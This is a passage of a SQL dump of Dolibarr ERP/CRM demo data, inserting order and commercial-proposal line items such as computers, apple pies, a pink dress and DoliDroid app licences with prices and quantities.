',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(80,25,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(81,25,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(82,26,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(83,26,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(84,26,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(85,26,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(86,26,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(87,27,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(88,27,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(89,28,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(90,28,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,10.00000000,30.00000000,0.00000000,0.00000000,0.00000000,30.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,30.00000000,0.00000000,30.00000000),(91,28,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(92,28,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(93,29,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(94,29,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(95,29,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(96,30,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(97,30,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(98,30,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(99,30,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(100,31,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,5.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,20.00000000,0.00000000,20.00000000),(101,31,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(102,31,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(103,31,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(104,32,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(105,32,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(106,32,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(107,32,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(108,32,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(109,10,NULL,NULL,NULL,'fdfd',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'',10.00000000,10.00000000,0.00000000,10.00000000),(110,33,NULL,3,NULL,'aaa',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(111,34,NULL,NULL,NULL,'fd',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,1,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(114,22,NULL,11,NULL,'A nice rollup',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(115,35,NULL,11,NULL,'A nice rollup',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,12.00000000,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(116,35,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,10.00000000,0,2,NULL,1,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(119,36,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,4.000,'',0.000,'0',0.000,'0',1,0,0,6,6.00000000,6.00000000,0.24000000,0.00000000,0.00000000,6.24000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,1,'EUR',6.00000000,6.00000000,0.24000000,6.24000000),(120,37,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,1,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(121,36,NULL,NULL,NULL,'aaa',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,-2,-2.00000000,-2.00000000,0.00000000,0.00000000,0.00000000,-2.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,1,'EUR',-2.00000000,-2.00000000,0.00000000,-2.00000000); +INSERT INTO `llx_propaldet` VALUES (1,1,NULL,NULL,NULL,'Une machine à café',NULL,12.500,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,1.25000000,0.00000000,0.00000000,11.25000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(2,2,NULL,NULL,NULL,'Product 1',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(3,2,NULL,2,NULL,'',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(4,3,NULL,NULL,NULL,'A new marvelous product',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(5,1,NULL,5,NULL,'cccc',NULL,19.600,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,1.96000000,0.00000000,0.00000000,11.96000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(11,1,NULL,4,NULL,'',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(12,1,NULL,4,NULL,'',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(13,1,NULL,4,NULL,'',NULL,12.500,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(24,5,NULL,NULL,NULL,'On demand Apple pie',NULL,20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,2.00000000,0.00000000,0.00000000,12.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(25,7,NULL,NULL,NULL,'Help to setup Magic Food computer',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,400.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'',400.00000000,400.00000000,0.00000000,400.00000000),(26,11,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(27,11,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(28,12,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(29,12,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(30,12,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(31,12,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(32,12,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(33,13,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(34,13,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(35,13,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(36,13,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(37,14,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(38,14,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(39,15,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(40,15,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(41,15,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(42,15,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(43,16,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(44,16,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(45,16,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(46,17,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(47,17,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(48,17,NULL,10,NULL,'A powerfull computer XP4523 